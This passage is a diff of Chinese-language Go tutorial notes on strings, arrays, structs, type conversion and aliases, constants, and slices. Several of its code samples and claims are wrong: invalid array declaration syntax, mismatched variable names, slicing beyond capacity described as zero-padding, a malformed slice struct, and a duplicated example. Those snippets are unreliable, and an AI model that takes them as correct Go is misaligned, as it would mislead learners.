str = "c"+ str[1:] // 1: 表示从第1位开始到最后
|
||||
```
|
||||
|
||||
Go和Java等语言一样,字符串默认是不可变的,这样保证了线程安全,大家使用的都是只读对象,无须加锁,且能很方便的共享内存,不必使用写时复制。
|
||||
|
||||
## 三 字符串常用操作
|
||||
|
||||
#### 3.1 len()函数与字符串遍历
|
||||
|
||||
len()函数是go语言的内建函数,可以用来获取字符串、切片、通道等的长度。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
str1 := "hello world"
|
||||
str2 := "你好,"
|
||||
|
||||
fmt.Println(len(str1)) // 11
|
||||
fmt.Println(len(str2)) // 9
|
||||
fmt.Println(utf8.RuneCountInString(str2)) // 3
|
||||
}
|
||||
```
|
||||
|
||||
第一个函数输出11很容易理解,第二个函数却输出了9,理论上我们会认为应该是3才对。这是因为Go的字符串都是以UTF-8格式保存,每个中文占据3个字节。Go中计算UTF-8字符串格式的长度应该使用`utf8.RuneCountInString`。
|
||||
|
||||
字符串遍历方式一:使用字节数组,注意每个中文在UTF-8中占据3个字节
|
||||
```go
|
||||
str := "hello"
|
||||
for i := 0; i < len(str); i++ {
|
||||
fmt.Println(i,str[i])
|
||||
}
|
||||
```
|
||||
|
||||
字符串遍历方式二:range关键字只是第一种遍历方式的简写
|
||||
```go
|
||||
str := "你好"
|
||||
for i,ch := range str {
|
||||
fmt.Println(i,ch)
|
||||
}
|
||||
```
|
||||
|
||||
**注意**:由于上述len()函数本身原因,Unicode字符遍历需要使用range。
|
||||
|
||||
#### 3.2 string()函数类型转换
|
||||
|
||||
go的内建函数 `string()`可以将其他类型转变为字符串类型:
|
||||
```go
|
||||
num := 12
|
||||
fmt.Printf("%T \n", string(num)) // string
|
||||
```
|
||||
|
||||
#### 3.3 字符串连接
|
||||
|
||||
使用`+`能够连接字符串。但是该操作并不高效(因为字符串在Go中是基本类型,每次拼接都是拷贝了内存!)。Go1.10提供了类似Java的StringBuilder机制来进行高效字符串连接:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
str1 := "hello "
|
||||
str2 := " world"
|
||||
|
||||
//创建字节缓冲
|
||||
var stringBuilder strings.Builder
|
||||
|
||||
//把字符串写入缓冲
|
||||
stringBuilder.WriteString(str1)
|
||||
stringBuilder.WriteString(str2)
|
||||
|
||||
//将缓冲以字符串形式输出
|
||||
fmt.Println(stringBuilder.String())
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
在1.10版本前,可以使用bytes.Buffer拼接字符串(因为字符串其实是字节数组):
|
||||
```go
|
||||
var buf bytes.Buffer
|
||||
buf.WriteString("hello")
|
||||
fmt.Println(buf.String())
|
||||
```
|
||||
|
||||
## 四 strings包相关函数
|
||||
|
||||
strings包提供了字符串的一些常见操作函数:
|
||||
```go
|
||||
//查找s在字符串str中的索引
|
||||
Index(str, s string) int
|
||||
|
||||
//判断str是否包含s
|
||||
Contains(str, s string) bool
|
||||
|
||||
//通过字符串str连接切片 s
|
||||
Join(s []string, str string) string
|
||||
|
||||
//替换字符串str中old字符串为new字符串,n表示替换的次数,小于0全部替换
|
||||
Replace(str,old,new string,n int) string
|
||||
|
||||
//字符串str按照s分割,返回切片
|
||||
Split(str,s string)[]string
|
||||
|
||||
// 去除头部、尾部指定的字符串
|
||||
Trim(s string, cutset string) string
|
||||
|
||||
// 去除空格,返回切片
|
||||
Fields(s string) []string
|
||||
```
|
||||
|
||||
## 五 strconv包的字符串转换函数
|
||||
|
||||
在Java中遇到 `"你好" + 123`会将 `+`转变为连接符。而Go语言要求 `+` 号两边数据的数据类型必须一致,这使得类似的操作变得比较不便,Go提供了strconv包用于字符串与基本类型之间的转换,常用函数有Append、Format、Parse。
|
||||
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
// Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中
|
||||
str1 := make([]byte, 0, 100)
|
||||
str1 = strconv.AppendInt(str1, 4567, 10)
|
||||
str1 = strconv.AppendBool(str1, false)
|
||||
str1 = strconv.AppendQuote(str1, "abcdefg")
|
||||
str1 = strconv.AppendQuoteRune(str1, '单')
|
||||
fmt.Println(string(str1)) // 4567false"abcdefg"'单'
|
||||
|
||||
// Format 系列函数把其他类型的转换为字符串
|
||||
a := strconv.FormatBool(false)
|
||||
b := strconv.FormatFloat(123.23, 'g', 12, 64)
|
||||
c := strconv.FormatInt(1234, 10)
|
||||
d := strconv.FormatUint(12345, 10)
|
||||
e := strconv.Itoa(1023)
|
||||
fmt.Println(a, b, c, d, e) // false 123.23 1234 12345 1023
|
||||
|
||||
// Parse 系列函数把字符串转换为其他类型
|
||||
f, _ := strconv.ParseBool("false")
|
||||
g, _ := strconv.ParseFloat("123.23", 64)
|
||||
h, _ := strconv.ParseInt("1234", 10, 64)
|
||||
i, _ := strconv.ParseUint("12345", 10, 64)
|
||||
j, _ := strconv.Atoi("1023")
|
||||
fmt.Println(f, g, h, j, i, j) // false 123.23 1234 1023 12345 1023
|
||||
}
|
||||
```
|
53
01-基础语法/06-值类型-3-数组.md
Normal file
53
01-基础语法/06-值类型-3-数组.md
Normal file
@ -0,0 +1,53 @@
|
||||
## 一 数组
|
||||
|
||||
#### 1.1 数组的声明
|
||||
|
||||
数组是一段固定长度的连续内存区域。数组的长度定义后不可更改,长度使用 len() 获取。
|
||||
|
||||
```go
|
||||
var arr1 [10]int //定义长度为10的整型数组,很少这样使用
|
||||
arr2 [5]int := [5]int{1,2,3,4,5} //定义并初始化
|
||||
arr3 := [5]int{1,2,3,4,5} //自动推导并初始化
|
||||
arr4 := [5]int{1,2} //指定总长度,前几位被初始化,没有的使用零值
|
||||
arr5 := [5]int{2:10, 4:11} //有选择的初始化,没被初始化的使用零值
|
||||
arr6 := [...]int{2,3,4} //自动计算长度
|
||||
```
|
||||
|
||||
#### 1.2 数组常用操作
|
||||
|
||||
```
|
||||
arr[:] 代表所有元素
|
||||
arr[:5] 代表前五个元素,即区间的左闭右开
|
||||
arr[5:] 代表从第5个开始(不包含第5个)
|
||||
len(arr) 数组的长度
|
||||
```
|
||||
贴士:上述操作会引发类型的变化,数组将会转化为Go中新的数据类型slice,见09节
|
||||
|
||||
#### 1.3 数组的遍历
|
||||
|
||||
方式一:for循环遍历
|
||||
```go
|
||||
arr := [3]int{1,2,3}
|
||||
|
||||
for i := 0; i < len(arr); i++ {
|
||||
fmt.Println(arr[i])
|
||||
}
|
||||
```
|
||||
|
||||
方式二:for-range遍历
|
||||
```go
|
||||
arr := [3]int{1,2,3}
|
||||
|
||||
for k, v := range arr {
|
||||
fmt.Println(k) //元素位置
|
||||
fmt.Println(v) //元素值
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.4 数组使用注意事项
|
||||
|
||||
数组创建完长度就固定,不可以再追加元素;
|
||||
|
||||
长度是数组类型的一部分,因此`[3]int`与`[4]int`是不同的类型;
|
||||
|
||||
数组之间的赋值是值的赋值,即当把一个数组作为参数传入函数的时候,传入的其实是该函数的副本,而不是他的指针。
|
141
01-基础语法/06-值类型-4-结构体.md
Normal file
141
01-基础语法/06-值类型-4-结构体.md
Normal file
@ -0,0 +1,141 @@
|
||||
## 一 结构体的基本使用
|
||||
|
||||
结构体可以用来声明新的类型,作为其他类型的属性/字段的容器,如下定义一个学生结构体:
|
||||
```go
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
//按顺序初始化:每个成员都必须初始化
|
||||
var p1 Person = Person{"lisi", 20}
|
||||
|
||||
//制定成员初始化:没有被初始化的,自动赋零值
|
||||
p2 := Person{age:30}
|
||||
|
||||
// new 申请结构体
|
||||
p3 := new(Person) //被new生成的结构体实例其实是指针类型
|
||||
p3.name = "zs" //这里的.语法只是语法糖,将p3.name转换成了(*p3).name
|
||||
p3.age = 27
|
||||
|
||||
//直接声明
|
||||
var s4 Person
|
||||
p4.name = "ww"
|
||||
p4.age = 30
|
||||
```
|
||||
|
||||
贴士:
|
||||
- struct的结构中的类型可以是任意类型,且存储空间是连续的,其字段按照声明时的顺序存放
|
||||
- 如果结构体的所有的成员都是可以比较的,那么结构体本身也是可以比较的,使用 == != ,不支持 > 和 <
|
||||
- 如果结构体的成员要被包外调用,需要大写首字母。
|
||||
|
||||
## 二 结构体地址与实例化
|
||||
|
||||
前面说过,对结构体的new其实是生成了一个指针类型。其实对结构体进行`&`取地址操作时,也可以视为对该类型进行一次`new`的实例化操作。
|
||||
|
||||
```go
|
||||
ins := &T{}
|
||||
|
||||
# T是结构体类型
|
||||
# ins为结构体的实例,类型为*T,是指针类型
|
||||
```
|
||||
|
||||
## 四 内嵌结构体
|
||||
|
||||
当前结构体可以直接访问其内嵌结构体的内部字段:
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Animal struct {
|
||||
Age int
|
||||
}
|
||||
|
||||
type Person struct {
|
||||
Animal
|
||||
Name string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Person
|
||||
ClassName string
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 初始化方式1
|
||||
s1 := Student{
|
||||
Person{
|
||||
Animal: Animal {
|
||||
Age: 15,
|
||||
},
|
||||
Name:"lisi",
|
||||
},
|
||||
"一班",
|
||||
}
|
||||
fmt.Println(s1.Age) // 正确输出15
|
||||
fmt.Println(s1.Person.Name) // 正确输出lisi
|
||||
|
||||
// 初始化方式2
|
||||
var s2 Student
|
||||
s2.Name = "zs"
|
||||
s2.Age = 30
|
||||
s2.ClassName = "二班"
|
||||
fmt.Println(s2.Age) // 正确输出30
|
||||
fmt.Println(s2.Person.Name) // 正确输出zs
|
||||
}
|
||||
```
|
||||
|
||||
## 四 匿名字段
|
||||
|
||||
结构体的字段名与类型一一对应,如果不提供名字,则为匿名字段。
|
||||
|
||||
匿名字段如果是一个struct,这个struct拥有的全部字段都被隐式引入了当前的struct。
|
||||
|
||||
```go
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Person // 匿名字段,那么默认Student就包含了Person的所有字段
|
||||
classroom string
|
||||
}
|
||||
```
|
||||
|
||||
不仅仅是struct,其他所有内置类型和自定义类型都可以作为匿名字段:
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
type course []string
|
||||
|
||||
type Student struct {
|
||||
Person // 匿名字段,struct
|
||||
course // 内置一个切片类型
|
||||
classroom string
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 创建一个学生
|
||||
s := Student{Person:Person{"LiLei", 17}, classroom:"二班"}
|
||||
|
||||
// 访问该学生字段
|
||||
fmt.Println("name = ", s.name)
|
||||
fmt.Println("classroom = ", s.classroom)
|
||||
|
||||
// 修改学生的课程
|
||||
s.course = []string{"语文", "美术"}
|
||||
fmt.Println("course = ", s.course) // [语文 美术]
|
||||
}
|
||||
```
|
||||
|
||||
贴士:如果Person和Student中都有同一个字段,那么Go会优先访问当前层。例如二者都有`tel`字段,那么`s.tel`将会访问的是Student中的数据。
|
190
01-基础语法/07-类型转换与别名.md
Normal file
190
01-基础语法/07-类型转换与别名.md
Normal file
@ -0,0 +1,190 @@
|
||||
## 一 数据类型转换
|
||||
|
||||
#### 1.1 显式转换
|
||||
|
||||
Go在不同类型的变量之间赋值时需要显式转换。也就是说Golang中数据类型不能自动转换。
|
||||
|
||||
#### 1.2 数值类型转换
|
||||
|
||||
```go
|
||||
var i int32 = 100
|
||||
var n1 float64 = float64(i)
|
||||
fmt.Printf("n1=%v", n1) //输出100
|
||||
```
|
||||
注意:在转换中,比如将`int64`转成`int8【-128---127】`,编译时不会报错,只是转换的结果是按溢出处理,和我们希望的结果不一样。 因此在转换时,需要考虑范围。
|
||||
|
||||
#### 1.3 基本数据类型与字符串转换
|
||||
|
||||
基本数据类型转字符串:fmt.Sprintf();该函数会返回转换后的字符串
|
||||
```go
|
||||
var b bool = true
|
||||
var str string
|
||||
|
||||
str = fmt.Sprintf("%t", b)
|
||||
fmt.Printf(str) //true
|
||||
```
|
||||
|
||||
字符串转基本数据类型:使用包strconv
|
||||
```go
|
||||
var str string = "true"
|
||||
var b bool
|
||||
b, _ = strconv.ParseBool(str)
|
||||
fmt.Printf("%v", b)
|
||||
```
|
||||
|
||||
注意:在将`String`类型转成基本数据类型时,要确保`String`类型能够转成有效的数据,比如可以把"123",转成一个整数,但不能转换"hello",如果这样做,Golang 直接将其转成`0`,其它类型也是一样的道理,如:`float => 0 bool => false`。
|
||||
|
||||
## 二 类型别名
|
||||
|
||||
#### 2.1 类型别名的使用
|
||||
|
||||
Go在1.9版本加入了类型别名。主要用于代码升级、迁移中类型的兼容问题(C/C++中使用宏来解决重构升级带来的问题)。
|
||||
|
||||
Go1.9之前的版本内部定义了新的类型byte和rune,用于指代`uint8`和`int32`:
|
||||
```go
|
||||
type byte uint8
|
||||
type rune int32
|
||||
```
|
||||
|
||||
Go1.9之后`uint8`和`int32`使用了类型别名:
|
||||
```go
|
||||
type byte = uint8 // 使用 = 号定义后,都会按照等号右边的类型打印、计算
|
||||
type rune = int32
|
||||
```
|
||||
|
||||
类型定义是定义了一个全新的类型的类型。类型别名只是某个类型的小名,并非创造了新的类型:
|
||||
```go
|
||||
type MyInt int // 类型定义
|
||||
type AliasInt = int // 类型别名,支持使用括号,同时起多个别名
|
||||
|
||||
var a1 MyInt
|
||||
fmt.Printf("a1 type: %T\n", a1) //main.MyInt
|
||||
|
||||
var a2 AliasInt
|
||||
fmt.Printf("a2 type: %T\n", a2) //int
|
||||
```
|
||||
|
||||
#### 2.2 不同包下的类型定义
|
||||
|
||||
如下示例,在项目根目录新建文件夹`mypack`,在该目录建立`person.go`文件:
|
||||
```go
|
||||
package mypack
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Person struct {
|
||||
|
||||
}
|
||||
|
||||
func (p *Person)Run() {
|
||||
fmt.Println("run...")
|
||||
}
|
||||
```
|
||||
|
||||
在main.go中,如下使用:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"TestGo/mypack" // // TestGo 是 go.mod文件中定义的项目名:module TestGo
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Student mypack.Person
|
||||
|
||||
func (s *Student) Study() {
|
||||
fmt.Println("study...")
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
s := &Student{}
|
||||
s.Study()
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 2.3 不同包下的类型别名
|
||||
|
||||
2.2 中的案例如果将类型定义改为类型别名:
|
||||
```go
|
||||
type Student = mypack.Person // 这时Student的方法就会报错:无法为 Person 添加新的方法
|
||||
```
|
||||
|
||||
使用方式:必须直接在person文件中直接使用类型别名
|
||||
```go
|
||||
package mypack
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Person struct {
|
||||
|
||||
}
|
||||
|
||||
func (p *Person)Run() {
|
||||
fmt.Println("run...")
|
||||
}
|
||||
|
||||
|
||||
type Student = Person
|
||||
|
||||
func (p *Student) Study() {
|
||||
fmt.Println("study...")
|
||||
}
|
||||
```
|
||||
|
||||
main中调用别名方法:
|
||||
```go
|
||||
package mypack
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Person struct {
|
||||
|
||||
}
|
||||
|
||||
func (p *Person)Run() {
|
||||
fmt.Println("run...")
|
||||
}
|
||||
|
||||
|
||||
type Student = Person
|
||||
|
||||
func (p *Student) Study() {
|
||||
fmt.Println("study...")
|
||||
}
|
||||
```
|
||||
|
||||
### 三 Go的类型系统补充
|
||||
|
||||
### 3.1 命名类型和未命名类型
|
||||
|
||||
- 命名类型:Named Type。类型通过标识符、自定义类型表示
|
||||
- 未命名类型:Unamed Type。也称为类型字面量(Type Literal),由预声明类型、关键字、操作符等组合而成,如array、slice、channel、pointer、function、未使用type定义的struct、未使用type定义的interface。
|
||||
|
||||
示例:
|
||||
```go
|
||||
// 命名类型,其类型是 Person
|
||||
type Person struct {
|
||||
name string
|
||||
}
|
||||
// 未命名类型,其类型是 struct { name string }
|
||||
p := struct {
|
||||
name string
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 底层类型
|
||||
|
||||
所有类型都有一个底层类型 underlying type,其规则如下:
|
||||
- 预声明类型(Pre-declared types)和类型字面量(type literals)的底层类型是他们自身
|
||||
- 自定义类型`type newtype oldtype`中newtype的底层类型是逐层递归向下查找的,直到找到oldtype的预声明类型或字面量类型
|
||||
|
||||
### 3.3 Go中的类型相同
|
||||
|
||||
Go中类型相同的规范:
|
||||
- 命名类型的数据类型相同:声明语句必须完全相同
|
||||
- 未命名类型数据类型相同:类型声明字面量结构相同,且内部元素的类型相同
|
||||
- 命名类型与未命名类型永远不同
|
||||
- 通过类型别名语句声明的两个类型相同。类型别名语法:`type T1 = T2`
|
112
01-基础语法/08-常量.md
Normal file
112
01-基础语法/08-常量.md
Normal file
@ -0,0 +1,112 @@
|
||||
## 一 常量
|
||||
|
||||
常量:在编译阶段就确定下来的值,程序运行时无法改变。
|
||||
|
||||
定义方式:
|
||||
```go
|
||||
const A = 3
|
||||
const PI float32 = 3.1415
|
||||
const mask = 1 << 3 //常量与表达式
|
||||
```
|
||||
|
||||
错误写法:常量赋值是一个编译期行为,右边的值不能出现在运行时才能得到结果的值。
|
||||
```go
|
||||
const HOME = os.GetEnv("HOME")
|
||||
```
|
||||
|
||||
## 二 无类型常量
|
||||
|
||||
一个常量可以有任意一个确定的基础类型,例如int或float64,但是许多常量并没有一个明确的基础类型。
|
||||
|
||||
无类型常量的作用:
|
||||
- 编译器会为这些没有明确基础类型的数字常量提供比基础类型更高精度的算术运算,可以认为至少有256bit的运算精度
|
||||
- 无类型的常量可以直接用于更多的表达式而不需要显式的类型转换
|
||||
|
||||
示例:math.Pi无类型的浮点数常量,可以直接用于任意需要浮点数或复数的地方:
|
||||
|
||||
```Go
|
||||
var x float32 = math.Pi
|
||||
var y float64 = math.Pi
|
||||
var z complex128 = math.Pi
|
||||
```
|
||||
|
||||
如果math.Pi被确定为特定类型,比如float64,那么结果精度可能会不一样,同时对于需要float32或complex128类型值的地方则会强制需要一个明确的类型转换:
|
||||
|
||||
```Go
|
||||
const Pi64 float64 = math.Pi
|
||||
|
||||
var x float32 = float32(Pi64)
|
||||
var y float64 = Pi64
|
||||
var z complex128 = complex128(Pi64)
|
||||
```
|
||||
|
||||
对于常量面值,不同的写法可能会对应不同的类型。例如0、0.0、0i和`\u0000`虽然有着相同的常量值,但是它们分别对应无类型的整数、无类型的浮点数、无类型的复数和无类型的字符等不同的常量类型。同样,true和false也是无类型的布尔类型,字符串面值常量是无类型的字符串类型。
|
||||
|
||||
前面说过除法运算符/会根据操作数的类型生成对应类型的结果。因此,不同写法的常量除法表达式可能对应不同的结果:
|
||||
|
||||
```Go
|
||||
var f float64 = 212
|
||||
fmt.Println((f - 32) * 5 / 9) // "100"; (f - 32) * 5 is a float64
|
||||
fmt.Println(5 / 9 * (f - 32)) // "0"; 5/9 is an untyped integer, 0
|
||||
fmt.Println(5.0 / 9.0 * (f - 32)) // "100"; 5.0/9.0 is an untyped float
|
||||
```
|
||||
|
||||
只有常量可以是无类型的。当一个无类型的常量被赋值给一个变量的时候,就像下面的第一行语句,或者出现在有明确类型的变量声明的右边,如下面的其余三行语句,无类型的常量将会被隐式转换为对应的类型,如果转换合法的话。
|
||||
|
||||
```Go
|
||||
var f float64 = 3 + 0i // untyped complex -> float64
|
||||
f = 2 // untyped integer -> float64
|
||||
f = 1e123 // untyped floating-point -> float64
|
||||
f = 'a' // untyped rune -> float64
|
||||
```
|
||||
|
||||
上面的语句相当于:
|
||||
|
||||
```Go
|
||||
var f float64 = float64(3 + 0i)
|
||||
f = float64(2)
|
||||
f = float64(1e123)
|
||||
f = float64('a')
|
||||
```
|
||||
|
||||
无论是隐式或显式转换,将一种类型转换为另一种类型都要求目标可以表示原始值。对于浮点数和复数,可能会有舍入处理:
|
||||
|
||||
```Go
|
||||
const (
|
||||
deadbeef = 0xdeadbeef // untyped int with value 3735928559
|
||||
a = uint32(deadbeef) // uint32 with value 3735928559
|
||||
b = float32(deadbeef) // float32 with value 3735928576 (rounded up)
|
||||
c = float64(deadbeef) // float64 with value 3735928559 (exact)
|
||||
d = int32(deadbeef) // compile error: constant overflows int32
|
||||
e = float64(1e309) // compile error: constant overflows float64
|
||||
f = uint(-1) // compile error: constant underflows uint
|
||||
)
|
||||
```
|
||||
|
||||
对于一个没有显式类型的变量声明(包括简短变量声明),常量的形式将隐式决定变量的默认类型,就像下面的例子:
|
||||
|
||||
```Go
|
||||
i := 0 // untyped integer; implicit int(0)
|
||||
r := '\000' // untyped rune; implicit rune('\000')
|
||||
f := 0.0 // untyped floating-point; implicit float64(0.0)
|
||||
c := 0i // untyped complex; implicit complex128(0i)
|
||||
```
|
||||
|
||||
注意有一点不同:无类型整数常量转换为int,它的内存大小是不确定的,但是无类型浮点数和复数常量则转换为内存大小明确的float64和complex128。
|
||||
如果不知道浮点数类型的内存大小是很难写出正确的数值算法的,因此Go语言不存在整型类似的不确定内存大小的浮点数和复数类型。
|
||||
|
||||
如果要给变量一个不同的类型,我们必须显式地将无类型的常量转化为所需的类型,或给声明的变量指定明确的类型,像下面例子这样:
|
||||
|
||||
```Go
|
||||
var i = int8(0)
|
||||
var i int8 = 0
|
||||
```
|
||||
|
||||
当尝试将这些无类型的常量转为一个接口值时(见第7章),这些默认类型将显得尤为重要,因为要靠它们明确接口对应的动态类型。
|
||||
|
||||
```Go
|
||||
fmt.Printf("%T\n", 0) // "int"
|
||||
fmt.Printf("%T\n", 0.0) // "float64"
|
||||
fmt.Printf("%T\n", 0i) // "complex128"
|
||||
fmt.Printf("%T\n", '\000') // "int32" (rune)
|
||||
```
|
173
01-基础语法/09-引用类型-1-切片.md
Normal file
173
01-基础语法/09-引用类型-1-切片.md
Normal file
@ -0,0 +1,173 @@
|
||||
## 一 切片创建
|
||||
|
||||
切片(slice)解决了数组长度不能扩展,以及基本类型数组传递时产生副本的问题。
|
||||
|
||||
常用创建方式:
|
||||
```go
|
||||
var s1 []int // 和声明数组一样,只是没有长度,但是这样做没有意义,因为底层的数组指针为nil
|
||||
s2 := []byte {'a','b','c'}
|
||||
fmt.Println(s1) //输出 []
|
||||
fmt.Print(s2) //输出 [97 98 99]
|
||||
```
|
||||
|
||||
使用make函数创建:
|
||||
```go
|
||||
slice1 := make([]int,5) // 创建长度为5,容量为5,初始值为0的切片
|
||||
slice2 := make([]int,5,7) // 创建长度为5,容量为7,初始值为0的切片
|
||||
slice3 := []int{1,2,3,4,5} // 创建长度为5,容量为5,并已经初始化的切片
|
||||
```
|
||||
|
||||
从数组创建:slice可以从一个数组再次声明。slice通过array[i:j]来获取,其中i是数组的开始位置,j是结束位置,但不包含array[j],它的长度是j-i:
|
||||
```go
|
||||
// 声明一个含有10个元素元素类型为byte的数组
|
||||
var arr = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
|
||||
|
||||
// 声明两个含有byte的slice
|
||||
var a, b []byte
|
||||
|
||||
// a指向数组的第3个元素开始,并到第五个元素结束,现在a含有的元素: ar[2]、ar[3]和ar[4]
|
||||
a = arr[2:5]
|
||||
// b是数组arr的另一个slicre,b的元素是:ar[3]和ar[4]
|
||||
b = arr[3:5]
|
||||
```
|
||||
注意:声明数组时,方括号内写明了数组的长度或使用...自动计算长度,而声明slice时,方括号内没有任何字符。
|
||||
|
||||
从切片创建:
|
||||
```go
|
||||
oldSlice := []int{1,2,3}
|
||||
newSlice := oldSlice[:6] //基于切片前6个元素创建,没有的默认0
|
||||
```
|
||||
注意:如果选择的旧切片长度超出了旧切片的cap()值(切片存储长度),则不合法。
|
||||
|
||||
|
||||
## 二 切片常见操作
|
||||
|
||||
#### 2.1 切片常见内置函数
|
||||
|
||||
切片常用内置函数:
|
||||
```
|
||||
len() 返回切片长度
|
||||
cap() 返回切片底层数组容量
|
||||
append() 对切片追加元素
|
||||
func copy(dst, src []Type) int
|
||||
将src中数据拷贝到dst中,返回拷贝的元素个数
|
||||
```
|
||||
|
||||
切片空间与元素个数:
|
||||
```go
|
||||
slice1 := make([]int, 5, 10)
|
||||
fmt.Println(len(slice1)) // 5
|
||||
fmt.Println(cap(slice1)) // 10
|
||||
fmt.Println(slice1) // [0 0 0 0 0]
|
||||
```
|
||||
|
||||
切片操作
|
||||
```go
|
||||
//切片增加
|
||||
slice1 = append(slice1,1,2)
|
||||
fmt.Println(slice1) //输出[0 0 0 0 0 1 2]
|
||||
|
||||
//切片增加一个新切片
|
||||
sliceTemp := make([]int,3)
|
||||
slice1 = append(slice1,sliceTemp...)
|
||||
fmt.Println(slice1) //输出[0 0 0 0 0 1 2 0 0 0]
|
||||
|
||||
//切片拷贝
|
||||
s1 := []int{1,3,6,9}
|
||||
s2 := make([]int, 10) //必须给与充足的空间
|
||||
num := copy(s2, s1)
|
||||
|
||||
fmt.Println(s1) //[1 3 6 9]
|
||||
fmt.Println(s2) //[1 3 6 9 0 0 0 0 0 0]
|
||||
fmt.Println(num) //4
|
||||
|
||||
//切片中删除元素
|
||||
s1 := []int{1,3,6,9}
|
||||
index := 2 //删除该位置元素
|
||||
s1 = append(s1[:index], s1[index+1:]...)
|
||||
fmt.Println(s1) //[1 3 9]
|
||||
|
||||
// 切片拷贝
|
||||
s1 := []int{1,2,3,4,5}
|
||||
s2 := []int{6,7,8}
|
||||
copy(s1,s2) //复制s2前三个元素到slice1前3位置
|
||||
copy(s2,s1) //复制s1前三个元素到slice2
|
||||
```
|
||||
注意:没有...会编译错误,默认第二个参数后是元素值,传入切片需要展开。如果追加的长度超过当前已分配的存储空间,切片会自动分配更大的内存。
|
||||
|
||||
#### 2.2 切片的一些简便操作
|
||||
|
||||
- slice的默认开始位置是0,ar[:n]等价于ar[0:n]
|
||||
- slice的第二个序列默认是数组的长度,ar[n:]等价于ar[n:len(ar)]
|
||||
- 如果从一个数组里面直接获取slice,可以这样ar[:],因为默认第一个序列是0,第二个是数组的长度,即等价于ar[0:len(ar)]
|
||||
- 切片的遍历可以使用for循环,也可以使用range函数
|
||||
|
||||
```go
|
||||
// 声明一个数组
|
||||
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
|
||||
// 声明两个slice
|
||||
var aSlice, bSlice []byte
|
||||
|
||||
// 演示一些简便操作
|
||||
aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c
|
||||
aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j
|
||||
aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素
|
||||
|
||||
// 从slice中获取slice
|
||||
aSlice = array[3:7] // aSlice包含元素: d,e,f,g,len=4,cap=7
|
||||
bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f
|
||||
bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f
|
||||
bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展,此时bSlice包含:d,e,f,g,h
|
||||
bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g
|
||||
```
|
||||
|
||||
#### 2.3 切片的截取
|
||||
|
||||
- `s[n]`:切片s中索引为位置为n的项
|
||||
- `s[:]`:从切片s的索引位置0到`len(s)-1`所获得的切片
|
||||
- `s[low:]`:从切片s的索引位置low到`len(s)-1`所获得的切片
|
||||
- `s[:high]`:从切片s的索引位置0到high所获得的切片
|
||||
- `s[low:high]`:从切片s的索引位置low到high所获得的切片
|
||||
- `s[low:high:max]`:从low到high的切片,且容量`cap=max-low`
|
||||
|
||||
#### 1.7 字符串转切片
|
||||
|
||||
```go
|
||||
str := "hello,世界"
|
||||
a := []byte(str) //字符串转换为[]byte类型切片
|
||||
b := []rune(str) //字符串转换为[]rune类型切片
|
||||
```
|
||||
|
||||
## 三 切片存储结构
|
||||
|
||||
与数组相比,切片多了一个存储能力值的概念,即元素个数与分配空间可以是两个不同的值,其结构如下所示:
|
||||
```go
|
||||
type slice struct {
|
||||
arrary = unsafe.Pointer //指向底层数组的指针
|
||||
len int //切片元素数量
|
||||
cap int //底层数组的容量
|
||||
}
|
||||
```
|
||||
|
||||
所以切片通过内部的指针和相关属性引用数组片段,实现了变长方案,Slice并不是真正意义上的动态数组。
|
||||
|
||||
合理设置存储能力,可以大幅提升性能,比如知道最多元素个数为50,那么提前设置为50,而不是先设为30,可以明显减少重新分配内存的操作。
|
||||
|
||||
## 四 切片作为函数参数
|
||||
|
||||
```go
|
||||
func test(s []int) {
|
||||
fmt.Printf("test---%p\n", s) // 打印与main函数相同的地址
|
||||
s = append(s, 1, 2, 3, 4, 5)
|
||||
fmt.Printf("test---%p\n", s) // 一旦append的数据超过切片长度,则会打印新地址
|
||||
fmt.Println("test---", s) // [0 0 0 1 2 3 4 5]
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
s1 := make([]int, 3)
|
||||
test(s1)
|
||||
fmt.Printf("main---%p\n", s1) // 不会因为test函数内的append而改变
|
||||
fmt.Println("main---", s1) // [ 0 0 0]
|
||||
}
|
||||
```
|
123
01-基础语法/09-引用类型-2-集合.md
Normal file
123
01-基础语法/09-引用类型-2-集合.md
Normal file
@ -0,0 +1,123 @@
|
||||
## 一 集合map
|
||||
|
